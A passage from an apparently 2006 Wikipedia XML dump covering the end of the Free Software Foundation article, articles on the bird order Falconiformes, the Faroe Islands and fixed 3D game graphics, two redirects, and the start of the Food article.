* [[Richard Stallman]], Founder of FSF and the GNU Project, former maintainer of various GNU software, and coauthor of the GNU GPL, Versions 1 and 2
* [[Gerald Jay Sussman|Gerald Sussman]], Professor of Computer Science at the Massachusetts Institute of Technology

====Other positions====
* [[Richard Stallman]]: President and founder of the Free Software Foundation [[Image:Richard Matthew Stallman.jpeg|thumb|280px|right|Richard M Stallman]]
* [[Peter T. Brown]]: Executive Director (was GPL Compliance Manager and Controller until February 2005)
* [[Eben Moglen]]: General Counsel
* [[Dan Ravicher]]: Senior Counsel
* [[David &quot;Novalis&quot; Turner]]: GPL Compliance Engineer (and [[User:Novalis|Wikipedia user]])
* [[John Sullivan]], Programs Administrator
* [[Ted Teah]], Free Software Directory maintainer
* [[Joshua Ginsberg]], Senior Systems Administrator
* [[Justin Baugh]], Senior Systems Administrator (and [[User:baughj|Wikipedia user]])
* [[Ward Vandewege]], Senior Systems Administrator (part-time) (and [[User:wardv|Wikipedia user]])
* [[Tony Wieczorek]], Program Assistant

====Former employees====
* [[Jonathan Arcenaux]], GNU hacker, [[GNU Emacs]]
* [[James E. Blair]], Senior Systems Administrator
* [[Bradley M. Kuhn]]: Executive Director until [[February 2005]]
* [[Leslie Proctor]] Public Relations
* [[Robert J. Chassell]]: Founding Director and Treasurer
* [[Tim Ney]] CEO 1998-2001
* [[Thomas Bushnell, BSG]] GNU [[hacker]], [[GNU Hurd]]
* [[Roland McGrath]] GNU hacker, [[GNU Libc]], [[Make]], GNU Hurd
* [[Ian Murdock]] GNU hacker
* [[Leonard Tower]] GNU hacker
* [[Mike Haertel]] GNU hacker, [[diff]], [[grep]]
* [[Pete TerMaat]] GNU hacker, [[GNU Debugger|GDB]]
* [[Phil Nelson]] GNU hacker
* [[Jay Fenlason]] GNU hacker, [[sed]]
* [[Brian Fox]] GNU hacker, [[Bash]]
* [[Noboyuki Hikichi]] GNU hacker
* [[Paul Rubin]] GNU hacker, [[cpp]]
* [[Ariel Rios]] GNU hacker, [[GNU Guile|Guile]]
* [[Randy Smith]] GNU hacker, [[GDB]]
* there was a &quot;Steve&quot;
* [[Jonathan Watterson]], digital-speech project organiser
* [[Lisa &quot;Opus&quot; Goldstein]]: Manager of [[GNU Press]]
* [[Paul Fisher]], Senior Systems Administrator
* [[Peter Salus]], Vice President
* [[Tom Lord]], GNU hacker, [[GNU arch]], [[sed]], [[regular expression]] engine, [[GNU Oleo]] features
* [[Janet Casey]], Free Software Directory maintainer until [[August 2005]]

There are usually around 10 employees in the headquarters in [[Boston, Massachusetts]].  The office is managed by Peter Brown.

===Sister organisations===
In [[2001]], [[Free Software Foundation Europe]] was founded in [[Germany]] to act as a &quot;hub&quot; for the Free Software organisations of Europe.  In [[2003]], [[Free Software Foundation India]] was founded in [[Kerala]].  In 2005, it was announced that work is in progress to set up a [[Free Software Foundation Latin America]].

==Recognition==

*[[1999]]: [[Linus Torvalds Award]] for Open Source Computing [http://www.stanfordalumni.org/news/magazine/2002/janfeb/showcase/motionpictures.html]
*[[2005]]: [[Prix Ars Electronica]] Award of Distinction in the category of &quot;Digital Communities&quot; [http://www.aec.at/en/prix/updates/article.asp?iNewsID=715&amp;iTypeID=0] [http://www.fsf.org/news/digital-communities.html]

==External links==
*[http://www.fsf.org The Free Software Foundation web site]
*[http://www.fsf.org/about About the FSF]
*[http://www.gnu.org/philosophy/free-sw.html The Free Software Definition]
*[http://www.gnu.org/philosophy/philosophy.html Documents about the Free Software philosophy]
*[http://member.fsf.org FSF Associate Membership Program]
*[http://patron.fsf.org FSF Corporate Patronage Program]
*[http://www.fsfeurope.org Free Software Foundation Europe web site]
*[http://www.fsf.org.in The Free Software Foundation India web site]
*[http://www.ifso.ie The Irish Free Software Organisation]
*[http://alternativefreedom.blogspot.com/ &quot;Alternative Freedom&quot; Documentary featuring Richard Stallman]
*[http://www.gnupress.org/ The GNU Press web site]


[[category:Free Software Foundation|*]]
[[Category:Non-profit organizations]][[Category:Nonprofit Technology]][[Category:Foundations]]

[[ast:Fundación del Software Llibre]]
[[ca:Free Software Foundation]]
[[cs:Free Software Foundation]]
[[da:Free Software Foundation]]
[[de:Free Software Foundation]]
[[el:Ίδρυμα Ελεύθερου Λογισμικού]]
[[es:Free Software Foundation]]
[[eo:Free Software Foundation]]
[[fa:بنیاد نرم‌افزارهای آزاد]]
[[fr:Fondation pour le logiciel libre]]
[[gl:Free Software Foundation]]
[[ko:자유 소프트웨어 재단]]
[[id:FSF]]
[[is:Frjálsa hugbúnaðarstofnunin]]
[[it:Free Software Foundation]]
[[he:קרן התוכנה החופשית]]
[[lb:Free Software Foundation]]
[[hu:Free Software Foundation]]
[[nl:Free Software Foundation]]
[[ja:フリーソフトウェア財団]]
[[no:Free Software Foundation]]
[[nn:Free Software Foundation]]
[[pl:Free Software Foundation]]
[[pt:Free Software Foundation]]
[[sk:Free Software Foundation]]
[[fi:Free Software Foundation]]
[[sv:Free Software Foundation]]
[[tl:Free Software Foundation]]
[[tr:Özgür Yazılım Vakfı]]
[[uk:Фонд Вільних Програм]]
[[zh:自由软件基金会]]</text>
    </revision>
  </page>
  <page>
    <title>Falconiformes</title>
    <id>10641</id>
    <revision>
      <id>41352612</id>
      <timestamp>2006-02-26T20:15:39Z</timestamp>
      <contributor>
        <username>Srleffler</username>
        <id>252195</id>
      </contributor>
      <comment>Rv. Link I kept was a disambiguation page. &quot;Bird of prey&quot; is already linked here.</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Falconiformes
| image = Black-shouldered-Kite-232.jpg
| image_caption = [[Black-shouldered Kite]]
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[bird|Aves]]
| ordo = '''Falconiformes'''
| ordo_authority = [[Richard Bowdler Sharpe|Sharpe]], 1874
| subdivision_ranks = Families
| subdivision = 
[[Accipitridae]]&lt;br /&gt;
[[Osprey|Pandionidae]]&lt;br /&gt;
[[Falconidae]]&lt;br /&gt;
[[Sagittariidae]]&lt;br /&gt;
}}

The [[order (biology)|order]] '''Falconiformes''' is a group of about 290 [[species]] of [[bird]]s that include the diurnal [[bird of prey|birds of prey]]. Raptor classification is fraught with difficulty and the order is treated in several different ways. 

== Classification problems == 
Traditionally, all the raptors are grouped into 4 [[Family (biology) |families]] in this single order.  However, in [[Europe]], it has become common to split the order into two: the [[falcon]]s and [[caracara]]s remain in the order Falconiformes (about 60 species in 4 groups), while the remaining 220-odd species (including the [[Accipitridae]]&amp;mdash;eagles, hawks, and many others) are placed in the separate order [[Accipitriformes]]. 
 
The [http://www.aou.org/checklist/index.php3#LFALC American Ornithologist's Union] leaves Falconidae and Accipitridae in Falconiformes, but places the New World vultures (family [[Cathartidae]]) with the storks in [[Ciconiiformes]] following the influential [[Sibley-Ahlquist taxonomy]], in which all the raptors are placed into Ciconiiformes, but the Cathartids are considered to be outside the lineage that includes other raptors.

The idea that Falconiformes should be divided into many orders is because of the suggestion that the order may not share a single lineage that is exclusive of other birds. The most controversial suggestion - but also the most well-supported one - is that Cathartidae are not Falconiformes but are related to the storks, in the separate order [[Ciconiiformes]].  However morphological evidence supports the common ancestry of the Falconiformes, and the [[Strigiformes]] may be Falconiformes as well.

== Characteristics == 
Falconiformes are known from the Middle [[Eocene]] and typically have a sharply hooked [[beak]] with a ''cere'' (soft mass) on the proximodorsal surface, housing the [[nostril]]s. Their [[wing]]s are long and fairly broad, suitable for soaring flight, with the outer 4-6 primaries emarginated. 

Falconiformes have strong legs and feet with [[Bird of prey|raptor]]ial [[claw]]s and an opposable hind claw. Almost all Falconiformes are [[carnivore|carnivorous]], hunting by sight during the day or at twilight. They are exceptionally long-lived, and most have low [[Reproduction|reproductive]] rates.  

The young have a long, very fast-growing fledgling stage, followed by 3-8 weeks of nest care after first flight and 1-3 years as [[sexual maturity|sexually immature]] adults. The sexes have conspicuously different sizes, and [[monogamy]] is the general rule.

[[DNA]] studies mean that it is likely to be some time until a consensus is restored on this group of birds. 

== See ==
* [[Sibley-Ahlquist taxonomy]].

== External links ==
*http://www.eeb.cornell.edu/winkler/botw/falconiformes.html

[[Category:Falconiformes|*]]
[[cs:Dravci]]
[[da:Falke-ordenen]]
[[de:Greifvögel]]
[[el:Ιερακόμορφα]]
[[eo:Falkoformaj birdoj]]
[[fr:Falconiformes]]
[[fy:Rôffûgels]]
[[it:Falconiformes]]
[[la:Falconiformes]]
[[lt:Sakaliniai paukščiai]]
[[nl:Roofvogels]]
[[ja:タカ目]]
[[pl:Sokołowe]]
[[pt:Falconiformes]]
[[ru:Соколообразные]]
[[sk:Dravce]]
[[sl:Ujede]]
[[tr:Falconiformes]]
[[zh:隼形目]]</text>
    </revision>
  </page>
  <page>
    <title>First person shooter</title>
    <id>10642</id>
    <revision>
      <id>39019056</id>
      <timestamp>2006-02-10T03:58:38Z</timestamp>
      <contributor>
        <username>TKD</username>
        <id>636163</id>
      </contributor>
      <minor />
      <comment>categorize redirect</comment>
      <text xml:space="preserve">#REDIRECT [[First-person shooter]] {{R from alternate spelling}}</text>
    </revision>
  </page>
  <page>
    <title>Faroe Islands</title>
    <id>10643</id>
    <revision>
      <id>42062567</id>
      <timestamp>2006-03-03T15:26:20Z</timestamp>
      <contributor>
        <username>NongBot</username>
        <id>817745</id>
      </contributor>
      <minor />
      <comment>robot  Adding: th</comment>
      <text xml:space="preserve">{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;'''Føroyar''' &lt;small&gt;([[Faroese language|Faroese]])&lt;/small&gt; &lt;br&gt;'''Færøerne''' &lt;small&gt;([[Danish language|Danish]])&lt;/small&gt;&lt;/big&gt;
| align=&quot;center&quot; colspan=&quot;2&quot;|
{| border=0 cellpadding=2 cellspacing=0 style=&quot;background:#f9f9f9; text-align:center;&quot;
| width=&quot;130px&quot;| [[Image:Flag of the Faroe Islands.svg|125px|Flag of the Faroe Islands]] || align=center width=130px| [[Image:Faroe Coat of Arms 4.png|75px|Coat of Arms|center]]
|-
| width=&quot;130px&quot;| ([[Flag of the Faroe Islands|In Detail]]) || align=center width=130px| ([[Coat of Arms of the Faroe Islands|In Detail]])
|}
|-
| align=center colspan=2 style=&quot;background:#f9f9f9;&quot; | [[Image:LocationFaroeIslands.png]]
|-
|'''[[Official language]]s''' || [[Faroese language|Faroese]], [[Danish language|Danish]]
|-
|'''[[Capital]]''' || [[Tórshavn]]
|-
|'''[[List of Danish monarchs|Monarch]]''' || [[Margrethe II of Denmark|Margrethe II]]
|-
|'''[[Prime Minister of the Faroe Islands|Prime Minister]]''' || [[Jóannes Eidesgaard]]
|-
|'''[[Area]]''' &lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % water
|[[List of countries by area|World ranking]]: 189th&lt;br&gt;[[1 E12 m²|1,399 km²]] &lt;br&gt;0.5
|-
|'''[[Population]]''' &lt;br&gt;&amp;nbsp;- Total ([[2004]]) &lt;br&gt;&amp;nbsp;- [[Population density|Density]]
|[[List of countries by population|World ranking]]: 211th &lt;br&gt; 48,228&lt;br&gt; 33.1/km²
|-
|'''[[Independence]]''' || None (part of the Kingdom of Denmark). Home rule was established in  [[1948]].
|-
|'''[[Currency]]''' || [[Faroese króna]] (DKK)&lt;sup&gt;1&lt;/sup&gt;
|-
| '''[[Time zone]]'''
| [[WET]] ([[UTC]]; [[UTC]]+1 in [[European Summer Time|summer]])
|-
| '''[[National anthem]]''' || [[Tú alfagra land mítt]]&lt;br&gt;(''You, my most beauteous land'')
|-
| [[National Day]] || [[29 July]]&lt;br&gt;
|-
| '''[[Top-level domain|Internet TLD]]''' || [[.fo]]
|-
| '''[[List of country calling codes|Calling Code]]''' || 298
|-
| [[Electricity]] || 230V, 50 Hz
|-
| colspan=&quot;2&quot; | &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;The banknotes are [[Danish krone]]r printed with Faroese motifs. The islands use standard Danish coins. Faroese krónur use the Danish [[ISO 4217]] code DKK.&lt;/small&gt;
|-
| align=center colspan=&quot;2&quot; | 
[[Image:Faroe map with villages, streets, straits, firths, ferry harbours and major moutains.png|250px|Flag of the Faroe Islands]]
|}

The '''Faroe Islands''' or simply '''Faroes''' ([[Faroese language|Faroese]]: ''Føroyar'', meaning &quot;Sheep Islands&quot;, [[Danish language|Danish]]: ''Færøerne'') are a [[group of islands]] in the north [[Atlantic Ocean]] between [[Scotland]], [[Norway]] and [[Iceland]]. They have been an autonomous region of the Kingdom of [[Denmark]] since [[1948]] and have, over the years, taken control of most matters, except defence (they have no organized native military, which remains the responsibility of Denmark, except for a small Police Force and Coast Guard) and foreign affairs.

The Faroes give their name to one of the [[British Sea Areas]]. They have close traditional ties to [[Iceland]], [[Shetland]], the [[Orkney Islands]], the [[Outer Hebrides]] and [[Greenland]]. The archipelago was detached from [[Norway]] in [[1815]]. The Faroes have their own representatives in the [[Nordic Council]].

==History==
''Main article: [[History of the Faroe Islands]]''

The early history of the Faroe Islands is very clear. According to [[Færeyinga Saga]] emigrants who left [[Norway]] to escape the tyranny of [[Harald I of Norway]] settled in the islands about the beginning of the [[9th century]]. Early in the [[11th century]] [[Sigmundur Brestirson|Sigmund]], whose family had flourished in the southern islands but had been almost exterminated by invaders from the northern islands, was sent from Norway, from which he had escaped, to take possession of the islands for [[Olaf I of Norway|Olaf Tryggvason]], king of Norway. He introduced [[Christianity]] and, though he was subsequently murdered, Norwegian supremacy was upheld. Norwegian control of the islands continued until [[1380]], when Norway entered into a union with [[Denmark]], which gradually evolved into the double monarchy [[Denmark-Norway|Denmark&amp;ndash;Norway]]. The [[reformation]] reached the Faroes in [[1538]]. When Norway was taken away from Denmark at the [[Treaty of Kiel]] in [[1814]], Denmark retained possession of the Faroe Islands. 

The [[monopoly trade over the Faroe Islands]] was abolished in [[1856]]. Since then, the country developed towards a modern fishery nation with its own fleet. The national awakening since [[1888]] was first based on a struggle for the [[Faroese language]], and thus more culturally oriented, but after [[1906]] was more and more politically oriented after the foundation of the [[political parties of the Faroe Islands]].

On [[April 12]], [[1940]], the Faroes were occupied by [[United Kingdom|British]] troops following the invasion of Denmark by [[Nazi Germany]]. This action was taken to avert a possible German occupation of the islands, which would have had very grave consequences for the course of the [[Battle of the Atlantic]]. In [[1942]]&amp;ndash;[[1943|43]] the British [[Royal Monmouthshire Royal Engineers|Royal Engineers]] built the only airport in the Faroes, the [[Vagar Airport]]. Control of the islands reverted to Denmark following the war, but in [[1948]] a home rule regime was implemented granting a high degree of local autonomy. The Faroes declined to join Denmark in entering the European Community (now [[European Union]]) in [[1973]]. The islands experienced considerable economic difficulties following the collapse of the fishing industry in the early [[1990s]], but have since made efforts to diversify the economy. Support for independence has grown and is the objective of the government.

== Politics ==
[[Image:Tinganes.jpg|thumb|left|[[Tinganes]] in [[Tórshavn]], seat of the government]]
''Main article: [[Politics of the Faroe Islands]]''

The islands are administratively divided in [[Municipalities of the Faroe Islands|34 municipalities]] with about [[Cities and villages of the Faroe Islands|120 cities and villages]].

Traditionally, there are also the [[List of regions in the Faroe Islands|6 sýslur]] ([[Norðoyar]], [[Eysturoy]], [[Streymoy]], [[Vágar]], [[Sandoy]] and [[Suðuroy]]). ''Sýsla'' means district and although it is only a police district today, it is still commonly understood as a geographical region. In earlier times, each sýsla had an own [[Thing (assembly)|ting]], the so called ''várting'' (spring ting).

Today, elections are held in the municipalities, on national level for the [[Løgting]], and inside the Kingdom of Denmark for the [[Folketing]]. For the Løgting elections there are 7 electoral districts, each one comprehending a''sýslur'', while Streymoy is divided in a northern and southern part (Tórshavn region).

The '''Government of the Faroes''' holds the executive power in locally government affairs. The Head of the government is called the [[Løgmaður]] or ''Prime Minister'' in English. Any other member of the cabinet is called a [[landsstýrismaður]].

===The Faroes and Denmark===
The [[Treaty of Kiel]] in [[1814]] terminated the [[Denmark-Norway|Danish-Norwegian]] union. [[Norway]] came under the rule of the [[King of Sweden]], but the Faroe Islands, [[Iceland]] and [[Greenland]] remained as possessions of [[Denmark]]. In continuation of this the [[Løgting]] was abolished ([[1816]]), and the Faroe Islands were to be governed as a regular [[Counties of Denmark|Danish amt]], with the [[Prefect|Amtmand]] as its head of government. In [[1851]] the [[Løgting]] was resurrected, but served mainly as an advisory power until [[1948]].

At the end of the [[Second World War]] a portion of the population favoured independence from [[Denmark]], and on [[September 14]] [[1946]] a public election was held on the question of [[secession]]. It is not considered a referendum, as the parliament was not bound to follow the decision of the vote. This was the first time that the Faroese people were asked if they favoured independence or if they wanted to continue as a part of the [[Danish Kingdom]]. The outcome of the vote produced a small majority in favour of [[secession]], but before the decision could be implemented the coalition in parliament fell apart and in the parliament election just a few months later, the political parties who favored staying in the Danish Kingdom went up in votes and formed a coalition. Based on their growth in votes they chose not to pass the secession. Instead there was made a compromise, and the [[Folketing]] passed a home-rule law which came into effect in [[1948]]. The Faroe Islands status as an [[Counties of Denmark|Danish amt]] was brought to an end with the home-rule law, instead the Faroe Islands were given a high degree of self-government, supported by a substantial annual subsidy from [[Denmark]].

The islanders are about evenly split between those favouring independence and those who prefer to continue as a part of the [[Kingdom of Denmark]]. Within both camps there is, however, a wide range of opinions. Of those who favour independence some are in favour of an immediate unilateral declaration. Others see it as something to be attained gradually and in full consent with the Danish government and the [[Danish nation]]. In the unionist camp there are also many who foresee and welcome a gradual increase in autonomy even as strong ties to [[Denmark]] are maintained.

===The Faroes and the EU===
The Faroe Islands are not part of the [[European Union|EU]], as explicitly asserted by both [[Treaty of Rome|Rome treaties]]. Moreover, a [[Special member state territories and their relations with the EU#Faroe Islands|protocol]] to the treaty of accession of Denmark to the European Communities stipulates that Danish nationals residing in the Faroe Islands are not to be considered as Danish nationals within the meaning of the treaties. Hence, Danish people living in the Faroes are not citizens of the European Union (However, other EU nationals living there remain EU citizens). The Faroes are however covered by the [[Schengen treaty|Schengen]] free movement agreement.

==Geography==
''Main article: [[Geography of the Faroe Islands]]''
[[Image:Faroe Islands.png|thumb|Faroe Islands]]
[[Image:Litla-dimun-photo.jpg|thumb|left|The uninhabited island [[Lítla Dímun]]]]

The Faroe Islands are an [[island]] group consisting of 18 islands, off the coast of Northern [[Europe]], between the [[Norwegian Sea]] and the north [[Atlantic Ocean]], about one-half of the way from [[Iceland]] to [[Norway]]. Its coordinates are {{coor dm|62|00|N|06|47|W|}}, and has 1,399 km² in area, and includes no major lakes or rivers. There are 1,117 km of coastline, and no land boundaries with any other country. The only island that is uninhabited is [[Lítla Dímun]]. [[Image:Faroes030417-nasa(2).jpg|thumb|Faroe Islands NASA satellite image]]

The Faroe Islands generally have cool summers and mild winters, with a usually overcast sky and frequent [[fog]] and heavy [[wind]]s. The fog often causes delays of airplanes. The islands are rugged and rocky with some low peaks; the coasts are mostly bordered by cliffs. The highest point is [[Slættaratindur]], 882 metres above sea level.

See also:
* [[List of regions in the Faroe Islands]]
* [[Various maps of the Faroe Islands]]

==Economy==
''Main article: [[Economy of the Faroe Islands]]''

After the severe economic troubles of the early [[1990s]], brought on by a drop in the vital [[fish]] catch, the Faroe Islands have come back in the last few years, with unemployment down to 5% in mid-[[1998]]. In 2006 it was even lower at 3%, that means it is one of the lowest in Europe. Nevertheless, the almost total dependence on fishing means the economy remains extremely vulnerable. The Faroese hope to broaden their economical base by building new fish-processing plants. [[Petroleum]] found close to the Faroese area give hope for deposits in the immediate area, which may lay the basis to sustained economic prosperity.

Since [[2000]], new [[information technology]] and business projects have been fostered in the Faroe Islands to attract new investment. The result from these projects is not yet known but is hoped to bring a better market economy to the Faroe Islands.

The Faroes have a low unemployment rate, but this is not necessarily a sign of a recovering economy, as many young students move to Denmark and other countries once they are finished with high school. This leaves a largely middle-aged and elderly population that may lack the skills and knowledge to take IT positions on the Faroes.

==Transportation==
''Main article: [[Transportation in the Faroe Islands]]''

Due to the rock terrain and relatively smallness of the Faroe Islands, its transportation system was not as extensive as other places of the world. This situation has changed, and today the infrastructure has been developed extensively. Some 80 % of the population in the islands is connected by underocean tunnels, bridges and embankments which binds the 3 largest islands and 3 comparatively large islands to the northeast together, while the other two large islands to the south of the main area are connected to the main area with brand new modern, fast ferries. There are good roads that lead to every village in the islands except 7 of the smaller islands with only one village each.

== Demographics ==
''Main article: [[Demographics of the Faroe Islands]]''

The majority of the population is of Scandinavian descent. 

[[Faroese language|Faroese]] is spoken in the entire country and the majority also speaks [[Danish language|Danish]].
Many Faroese people are fluent in [[English language|English]] as well, particularly those in larger cities and the youth, who are taught English in school.

According to official statistics from [[2002]] 84.1% of Faroese people are members of the state church, the Faroese People's Church (Fólkakirkjan), a form of [[Lutheranism]].

The Faroese population is spread across most of the country, and it is not until the later decades that there has been a significant urbanisation. The industrialization of the country has been remarkably decentralized and has therefore maintained a quite living rural culture. Nevertheless, those villages with bad harbour facilities have been the losers of the development from agriculture to fisheries, and in the most peripheral agricultural areas there are scarcely any young people left. Such areas are e.g. [[Fugloy]], [[Svínoy]], [[Mykines]], [[Skúvoy]] and [[Dímun]], which have extremely bad connections to the rest of the country, and can often not be reached every day due to bad weather. In the past decades, the village-based social-structure has nevertheless been placed under pressure, and instead there has been a rise in &quot;centres&quot; that are able to provide goods that are in demand in the periphery. This has meant that shops and services are now heavily being relocated from the villages and into the centres.

== Culture ==
''Main article: [[Culture of the Faroe Islands]]''

Technically, the phrase &quot;Faroe Islands&quot; is a [[pleonasm]], since the suffixes ''øerne'' and ''oyar'' mean &quot;islands&quot; in Danish and Faroese, respectively. The Faroes have a culture very much their own, but it holds elements in common with [[Norway]], [[Iceland]], and [[Denmark]].

The [[Faroese language]], spoken by [[Faroese people]], is most similar to [[Icelandic language|Icelandic]] and [[Old Norse]]. 
    
=== Faroese Scientific Society ===   
''Føroya Fróðskaparfelag'', the Faroese scientific society was founded in 1952 with the object of promoting co-operation in all fields of learning, collecting scientific literature, and publishing the results of research on or carried out in the Faroe Islands. A yearly periodical, ''Fróðskaparrit'', came to be published annually. It was through the work of the society that the Faroese university, [[Fróðskaparsetur Føroya]], came to be founded.

=== Traditional food ===
[[Image:Faroese buffet.jpg|thumb|Traditional Faroese food: Dried mutton and whale meat and blubber.]]
Traditional Faroese food is mainly based on meat and [[potato]]es and uses few fresh vegetables. [[Mutton]] is the basis of many meals, and one of the most popular treats is ''skerpikjøt'', well aged, wind-dried mutton which is quite chewy. The drying shed, known as a ''hjallur'', is a standard feature in many Faroese homes. Other traditional foods are ''rast kjøt'' (semi-dried mutton) and ''rastan fisk'', matured fish. After the bloody [[grindadráp]], a speciality is ''grind og spik'', [[Pilot whale|whale]] and [[blubber]]. Fresh fish also features strongly in the traditional local diet, as do [[seabirds]], such as [[puffin]], and their eggs.

=== The Faroe Islands in popular culture ===
In the book [[Nineteen Eighty-Four]] by [[George Orwell]], a [[Floating Fortess]] has been anchored between the Faroe Islands and Iceland on ca. [[4 April]] [[1984]].

== Miscellaneous topics ==
{{Faroese topics}}

== See also ==
* [[List of Faroese people|List of Notable Faroese]]
* [[Communications in the Faroe Islands]]
* [[Faroe Islands national football team|Faroe Islands national football (soccer) team]]
* [[Whaling in the Faroe Islands]]
* [[Gøtudanskt]]
* [[Ólavsøka]]

== External links ==
{{commons|Faroe Islands}}
* [http://faroeislands.dk/ Faroeislands.dk] - Is a private page covering all villages on the Faroe Islands
* [http://www.cia.gov/cia/publications/factbook/geos/fo.html Faroe Islands] - ''[[CIA World Factbook]] 2003''
* [http://www.faroeislandssc.org/ Faroe Islands Study Circle (UK)]
* [http://www.faroenature.net/ FaroeNature.net] - Forum and gallery covering all nature related subjects
* [http://www.uf.fo/?slag=english Faroese News in English] - National Radio Network
* [http://www.tinganes.fo/Default.asp?I=1 Prime Minister's Office] - Official site
* [http://www.setur.fo/ University of the Faroe Islands] - Official site
* [http://www.stamps.fo Postverk Føroya] - Faroe Islands Post Office
* [http://www.visit-faroeislands.com/ Visit Faroe Islands] - Official tourist site
* [http://heima.olivant.fo/%7Eanfinn/ heima.olivant.fo/~anfinn] - private site with over 100 aerial photos covering all the Faroe Islands
* [http://www.art.fo art] - The Faroe Islands National Art Museum
* [http://www.faroearts.com faroearts] - shows´n sells the work of Faroese artists on the internet
* [http://www.bryggenart.com Bryggenart] - Art from the North Atlantic
* [http://www.gudrunoggudrun.com GudrunogGudrun] - Faroese designer wear
* [http://www.krea.fo/toeting/ Toeting] - Tøting woolwear since 1962
* [http://www.nlh.fo NLH] - The Faroese Nordic House
* [http://www.gfestival.com Gfestival]- The official website of the annual G! Festival! 
* [http://www.summarfestivalur.fo Summarfestivalur]- The official website of the annual Summerfestival
* [http://www.tutl.com Tutl] - Specialist Faroese Record Company

{{Islands of the Faroe Islands}}

{{Nordic Council}}&lt;br&gt;
{{Europe}}

[[Category:Archipelagoes]]
[[Category:Danish dependencies]]
[[Category:European countries]]
[[Category:European dependencies]]
[[Category:Faroe Islands|*]]
[[Category:Former Norwegian colonies]]
[[Category:Islands of Denmark]]
[[Category:North Atlantic Islands]]
[[Category:Special territories of the European Union]]

{{Link FA|de}}

[[af:Faroëreilande]]
[[ast:Islles Feroe]]
[[bg:Фарьорски острови]]
[[zh-min-nan:Mî-iûⁿ Kûn-tó]]
[[be:Фарэрскія выспы]]
[[bs:Farska ostrva]]
[[br:Inizi Faero]]
[[ca:Illes Fèroe]]
[[cs:Faerské ostrovy]]
[[da:Færøerne]]
[[de:Färöer]]
[[et:Fääri saared]]
[[el:Νήσοι Φερόες]]
[[es:Islas Feroe]]
[[eo:Ferooj]]
[[eu:Faroe uharteak]]
[[fo:Føroyar]]
[[fr:Îles Féroé]]
[[ko:페로 제도]]
[[hr:Føroyar]]
[[id:Kepulauan Faroe]]
[[is:Færeyjar]]
[[it:Isole Fær Øer]]
[[he:איי פארו]]
[[kw:Ynysow Faroe]]
[[lt:Farerų salos]]
[[li:Faeröer]]
[[hu:Feröer]]
[[mk:Фарски Острови]]
[[nl:Faeröer]]
[[ja:フェロー諸島]]
[[no:Færøyene]]
[[nn:Færøyane]]
[[oc:Illas Feroé]]
[[pl:Wyspy Owcze]]
[[pt:Ilhas Feroé]]
[[ro:Insulele Faroe]]
[[ru:Фарерские острова]]
[[se:Fearsullot]]
[[sk:Faerské ostrovy]]
[[sl:Ferski otoki]]
[[fi:Färsaaret]]
[[sv:Färöarna]]
[[th:หมู่เกาะฟาโร]]
[[tr:Faroe Adaları]]
[[zh:法罗群岛]]</text>
    </revision>
  </page>
  <page>
    <title>Fixed 3D</title>
    <id>10644</id>
    <revision>
      <id>33207978</id>
      <timestamp>2005-12-30T03:52:43Z</timestamp>
      <contributor>
        <username>Pagrashtak</username>
        <id>304316</id>
      </contributor>
      <minor />
      <comment>game title fixes</comment>
      <text xml:space="preserve">In techniques for [[computer games]], '''fixed 3D''' is a three-dimensional (3D) representation of the game world with game characters [[render|rendered]] in [[real time]] against a [[prerendered]] environment.

Used heavily in the [[survival horror game]] genre, it was first seen in [[Infogrames]]' ''[[Alone in the Dark (series)|Alone in the Dark]]'' series in the early [[1990s]]; it was later revived and bought up to date by [[Capcom]] in the ''[[Resident Evil]]'' series.

Other notable examples include
* ''[[Final Fantasy VII]]'' ([[Square Co., Ltd.|Squaresoft]])
* ''[[Mario Party]]'' series ([[Nintendo]])
* ''[[Blade Runner (videogame)|Blade Runner]]'' ([[Westwood Studios]]) - apparently the backgrounds are rendered in real time, using millions of polygons, although this is difficult to tell
* ''[[Ecstatica]]'' and ''Ecstatica 2'' ([[Andrew Spencer]]/[[Psygnosis]]) - unusual in that the backgrounds and characters are rendered with [[ellipsoid]]s, leading to a very natural looking set of creatures. Like Blade Runner, it again is rendered entirely in real time, although it is difficult to tell at first sight
* ''[[The Legend of Zelda: Ocarina of Time]]'' ([[Nintendo]]) - dropped for complete 3D in its successor, ''[[The Legend of Zelda: Majora's Mask]]'', fixed 3D is used for many of the building interiors and for an entire town.

Admittedly, there seems little to separate fixed 3D from its precursor, the graphic [[adventure game]] (''[[Monkey Island]]'', ''[[Sam and Max]]'', etc.), but whereas the latter overlays 2D characters over a 2D background, fixed 3D is at least 3D overlaid on 2D, and often onto 3D.

[[Category:Game engines]]</text>
    </revision>
  </page>
  <page>
    <title>Famous Physicists</title>
    <id>10645</id>
    <revision>
      <id>15908444</id>
      <timestamp>2002-10-10T17:07:58Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[List_of_physicists]]</comment>
      <text xml:space="preserve">#REDIRECT [[List_of_physicists]]</text>
    </revision>
  </page>
  <page>
    <title>Food</title>
    <id>10646</id>
    <revision>
      <id>42095562</id>
      <timestamp>2006-03-03T20:19:06Z</timestamp>
      <contributor>
        <username>Jannex</username>
        <id>160206</id>
      </contributor>
      <minor />
      <comment>+:fi</comment>
      <text xml:space="preserve">'''Food''' is any substance that can be consumed, including [[liquid]] [[drink]]s. Food is the main source of [[energy]] and of [[nutrition]] for animals, and is usually of [[animal]] or [[plant]] [[origin]]. Many countries have a recognizable [[cuisine]], a specific set of [[cooking]] traditions and practices.

The study of food is called [[food science]]. In [[English language|English]], the term ''food'' is often used [[metaphor]]ically or figuratively, as in ''food for thought''.

==Legal definition==
[[Western world|Western]] food law defines four categories of object as food:
*any substance or product, whether processed, partially processed or unprocessed, intended to be, or reasonably expected to be ingested by humans whether of nutritional value or not;
*[[water]] and other [[drink]]s;
*[[chewing gum]];
*articles and substances used as an [[ingredient]] or [[component]] in the preparation of food.

Links to official legal definitions of food:
*[http://www.fda.gov/opacom/laws/fdcact/fdcact1.htm US federal definition of food]
*[http://www.legislation.hmso.gov.uk/acts/acts1990/Ukpga_19900016_en_2.htm#mdiv1 UK definition of food]
